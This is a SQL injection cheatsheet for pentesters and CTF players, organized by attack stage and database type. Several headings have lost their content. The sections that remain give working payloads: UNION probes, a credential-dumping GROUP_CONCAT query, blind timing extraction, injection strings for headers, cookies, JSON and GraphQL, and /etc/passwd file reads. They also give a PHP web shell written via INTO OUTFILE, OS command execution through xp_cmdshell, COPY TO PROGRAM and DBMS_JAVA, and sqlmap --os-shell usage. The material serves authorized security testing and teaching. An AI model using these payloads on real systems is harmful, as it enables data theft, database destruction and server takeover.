SQL Injection Cheatsheet

Wed Jul 09 2025

SQLi Cheatsheet

SQL Injection (SQLi) remains one of the most dangerous and widely exploited web vulnerabilities - even decades after its discovery. Despite countless defenses and awareness campaigns, improperly sanitized inputs still lead to critical breaches across modern web applications, APIs, and even mobile backends.

This comprehensive SQLi cheatsheet is a go-to reference for:

• Bug bounty hunters
• Web app pentesters
• CTF participants
• Security researchers
• Developers aiming to understand and defend against SQLi

It covers everything from basic discovery and fingerprinting to blind injection, bypass tricks, out-of-band exfiltration, and even SQLi-to-RCE escalations — all categorized per DBMS (MySQL, PostgreSQL, MSSQL, Oracle, SQLite) with example payloads.

Table of Contents

Table of Contents

1. Initial Tests (Discovery Phase)
2. Comment Syntax per DBMS
3. Substring Extraction
4. String Concatenation
5. Database Fingerprinting
6. Conditional Errors (Boolean Trigger)
7. Error-Based Data Leakage
8. Detecting Number of Columns
9. Discovering Injectable Columns
10. Group_Concat Usage
11. Detecting WAF Presence
12. Extracting DB Info
13. Login Bypass Payloads
14. Time-Based SQLi (Blind)
15. Timing-Based Data Extraction via Bitwise Operations
16. Blind Boolean-Based Automation Logic
17. Out-of-Band (OOB) SQLi
18. DNS Lookup (Out-of-Band)
19. DNS Lookup with Data Exfiltration
20. Second-Order SQLi Example
21. Bypass Techniques
22. SQLi in Other Contexts
23. Detection Techniques
24. Payload Bank
25. Other Payload Types
26. Database Permissions Enumeration
27. SQLi → LFI (Local File Inclusion)
28. SQLi → File Write
29. SQLi → RCE (Remote Code Execution)
30. Error Message Banners Enumeration (Non-Injection)
31. SQLite Specific Payloads
32. Stored Procedure Abuse (MSSQL, MySQL)
33. PostgreSQL COPY Command with RCE
34. Tools & Automation
35. Other Useful SQLi Tools
36. Fuzzing & Detection
37. Manual Testing Helpers
38. Bypass & Tampering Tools
39. Payload Repositories & Test Sets
40. Practice Labs to Try
41. Tips

Initial Tests (Discovery Phase)

Comment Syntax per DBMS

Always add a space after -- for MySQL.

Substring Extraction

String Concatenation

Database Fingerprinting (Version Detection)

Conditional Errors (Boolean Trigger)

Error-Based Data Leakage

Detecting Number of Columns

Discovering Injectable Columns

' UNION SELECT 1,NULL--
' UNION SELECT NULL,2--
' UNION SELECT 1,2,3--

→ Replace NULL with strings or numbers to identify reflected output.

Group_Concat

Helpful for extracting multiple rows in a single query.

SELECT GROUP_CONCAT(username, ':', password SEPARATOR ',') FROM users;

Use with INFORMATION_SCHEMA:

SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database();

→ This is for MySQL only. Other databases have different functions

Detecting WAF Presence

Sometimes WAFs block specific patterns. We can fingerprint them:

We can then bypass with encodings, obfuscation, or time-based fuzzing.

Extracting DB Info

→ For Oracle, SELECT ora_database_name FROM dual; requires Oracle 12c+. For older versions, use SELECT name FROM v$database;

Login Bypass Payloads

Time-Based SQLi (Blind)

Conditional Delays

Timing-Based Data Extraction via Bitwise Operations

Very useful in Blind SQLi (character-by-character exfiltration):

' OR ASCII(SUBSTRING((SELECT database()),1,1)) = 115 AND SLEEP(5) --

→ Automated timing extraction scripts can be created from this pattern.

Blind Boolean-Based Automation Logic

More structured loop for automation:

SELECT ASCII(SUBSTR((SELECT user()),1,1)) > 100

→ Can be used to binary search characters (faster).

Out-of-Band (OOB) SQLi

Requires attacker-controlled server + Burp Collaborator / DNS log.

DNS Lookup (Out-of-Band)

DNS Lookup with Data Exfiltration

These techniques may require privileges and attacker-controlled DNS listener (e.g., Burp Collaborator).

Second-Order SQLi Example

1. Submit username = '); DROP TABLE users; --

2. Input is stored safely in DB

3. Later retrieved in unsafe query:

   SELECT * FROM logins WHERE username = '$stored_value';

→ Always check both reflected and stored flows.

Bypass Techniques

SQLi in Other Contexts

1️⃣ SQLi via JSON Body (API)

{
  "username": "' OR 1=1 --",
  "password": "abc"
}

Use tools like Postman or Burp Repeater to test these endpoints.

2️⃣ SQLi in HTTP Headers

User-Agent: ' OR '1'='1
Referer: ' OR 1=1 --
X-Forwarded-For: ' OR SLEEP(5) --

3️⃣ SQLi in Cookies

Cookie: sessionid=abc' OR '1'='1

4️⃣ SQLi in URL Path

/profile/1' AND 1=1 --/
/api/data/' UNION SELECT version() --/

5️⃣ SQLi in GraphQL

{
  "query": "{ users(filter: \"' OR '1'='1\") { id name } }"
}

Detection Techniques

Payload Bank

Other Payload Types

Database Permissions Enumeration

Useful to test what we’re allowed to do (privilege escalation):

SELECT user(), current_user(), session_user(); -- varies by DBMS
SHOW GRANTS;
SELECT * FROM mysql.user; -- If possible

SQLi → LFI (Local File Inclusion)

PostgreSQL:

UNION SELECT pg_read_file('/etc/passwd')

MySQL (with secure_file_priv disabled):

SELECT LOAD_FILE('/etc/passwd');

SQLi → File Write

MySQL:

SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

⚠️ Needs FILE permission + correct path

Advanced UNION-Based Exploits with File Write

For exfil via web-accessible files:

UNION SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'

Already covered, but perhaps add:

• MySQL’s secure_file_priv can block this
• Apache must have write permission

SQLi → RCE (Remote Code Execution)

MSSQL:

EXEC xp_cmdshell 'whoami';

PostgreSQL:

COPY (SELECT '') TO PROGRAM 'id';

Oracle (Java-based RCE):

SELECT DBMS_JAVA.RUNJAVA('java.lang.Runtime.getRuntime().exec("cmd.exe")') FROM dual;

Error Message Banners Enumeration (Non-Injection)

We can extract info from generic errors even without full injection.

• 500 Internal Server Error → App crash
• ODBC SQL Server Driver → MSSQL backend
• PG::SyntaxError → PostgreSQL backend
• ORA-00933: SQL command not properly ended → Oracle

SQLite Specific Payloads

Often overlooked, but used in mobile/web apps:

SELECT sqlite_version();
SELECT name FROM sqlite_master WHERE type='table';

Stored Procedure Abuse (MSSQL, MySQL)

Run OS commands or escalate:

• MSSQL:

EXEC master..xp_cmdshell 'whoami';

• MySQL (if enabled):

CALL sys_eval('id');

PostgreSQL COPY Command with RCE

COPY (SELECT '') TO PROGRAM 'id';

PostgreSQL-specific, but often unmonitored in internal systems.

Tools & Automation

1. sqlmap

Common usage:

sqlmap -u "http://target.com/page.php?id=1" --dbs

Advanced:

sqlmap -r request.txt --level=5 --risk=3 --batch --os-shell

Key features:

• Auto enumeration
• Dump tables, data
• Write/read files
• RCE on MSSQL/PostgreSQL

2. Burp Suite

• Use Repeater for manual payload tuning
• Intruder for fuzzing injection points
• Logger++ to monitor headers
• Add extensions:
  • SQLiPy
  • Backslash Powered Scanner

3. NoSQLMap (for MongoDB)

python NoSQLMap.py -u http://target.com --dbs

Other Useful SQLi Tools

Fuzzing & Detection

Manual Testing Helpers

Bypass & Tampering Tools

Payload Repositories & Test Sets

Practice Labs to Try

Tips

• Always encode payloads properly for the context (URL, JSON, Headers)
• Use LIMIT, OFFSET to iterate rows if needed
• Always test POST, GET, Headers, and Cookies
• Second-order bugs may not show immediate effects — trace the flow
• Explore stacked queries (; DROP TABLE users;--) where supported
• Use prepared statements. Example:cursor.execute("SELECT * FROM users WHERE username = %s", (username,))

Key takeaways:

• Don’t rely solely on automated tools — manual testing and understanding application behavior is crucial.
• Always test in different contexts: GET, POST, cookies, headers, JSON bodies, GraphQL, and more.
• Stay mindful of WAF limitations and bypass techniques.
• Remember second-order injections and logic flaws can be just as dangerous.
• Above all — hack responsibly, ethically and with proper authorization.

This cheatsheet is also available on my GitHub — feel free to check it out, fork, or contribute!